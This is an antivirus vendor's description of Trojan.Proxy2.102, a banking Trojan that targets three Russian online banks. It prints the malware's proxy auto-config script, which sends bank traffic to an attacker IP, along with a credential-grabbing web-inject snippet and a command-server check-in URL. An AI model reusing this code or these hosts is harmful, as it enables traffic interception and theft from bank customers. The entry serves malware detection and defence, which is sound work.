Trojan.Proxy2.102

Added to the Dr.Web virus database: 2016-02-08

Virus description added:

SHA1:

  • 8bd982ce95775eb3fe63cb4b6e966ff5c17d462b

A banking Trojan designed to steal money from users’ bank accounts. The Trojan installs a root certificate on a machine to sign webpages of the following online banking systems:

  • https://online.sberbank.ru
  • https://online.vtb24.ru
  • https://online.rsb.ru

screen Trojan.Proxy2.102 #drweb

It also changes the Internet connection settings by specifying a proxy server address:

screen Trojan.Proxy2.102 #drweb

The malicious application uses an automatic configuration script to modify the settings:

AutoConfigURL http://mssinfosys.com/2y4sP9/wYuy.rui
function FindProxyForURL(url, host) {
    var P = "PROXY 185.93.185.204:8087";
    if (shExpMatch(host, "?n?ine.sbe?b?nk.r*") || shExpMatch(host, "?n?ine.v?b24.r*") || shExpMatch(host, "?n?ine.r?b.r*")) {
        return P;
    }
    return "DIRECT";
}

The Trojan then injects arbitrary content into a webpage of an online banking system once it is opened by a user. An example of web injection that the malware program performs for online.sberbank.ru looks as follows:

<textarea id="rsaPublic" style="display: none">-----BEGIN PUBLIC KEY-----

            {
                
                 
                 
                $("#loginHash").val(hex_md5( $("#login").val() + $("#password").val() ));
                $("#passwordHash").val(hex_md5( $("#password").val() ));
                 
                var crypt = new JSEncrypt();
                  
                crypt.setKey($("#rsaPublic").val());
                 
                $("#loginCrypt").val( crypt.encrypt($("#login").val()) );
                $("#passwordCrypt").val( crypt.encrypt($("#password").val()) );
                 
               // $("#login").val(" ");
                $("#password").val("pass");
                
                setRSAData();
                authForm.hidePassword();
                authForm.submit($('#buttonSubmit')[0], 'button.begin');
            }
             
            var dom_data_collection = new DomDataCollection();
            function setElementValue(name, value)
            {
                var frm = $("#loginForm")[0];
                var field = getElementFromCollection(frm.elements, name);
                if (field == null)
                {
                    addField('hidden', name, value);
                }
                else
                {
                    field.value = value;
                }
            }
            function setRSAData ()
            {
               setElementValue('deviceprint', add_deviceprint());
               setElementValue('htmlinjection', dom_data_collection.domDataAsJSON());
               setElementValue('manvsmachinedetection', UIEventCollector.serialize());
            }
            doOnLoad(function () {
               dom_data_collection.startInspection();
               UIEventCollector.initEventCollection();
            });
        </script>

If the installation is successful, the Trojan sends the following message to the server:

http://infom****.com/nsb2/SoftCheck.php?id=76487-640-1803887-23181&ver=0000005&name=upd

The server then replies with

good!

The Trojan does not register itself in autorun. Thus, once all the malicious functions are performed, it goes to an infinite sleep mode.
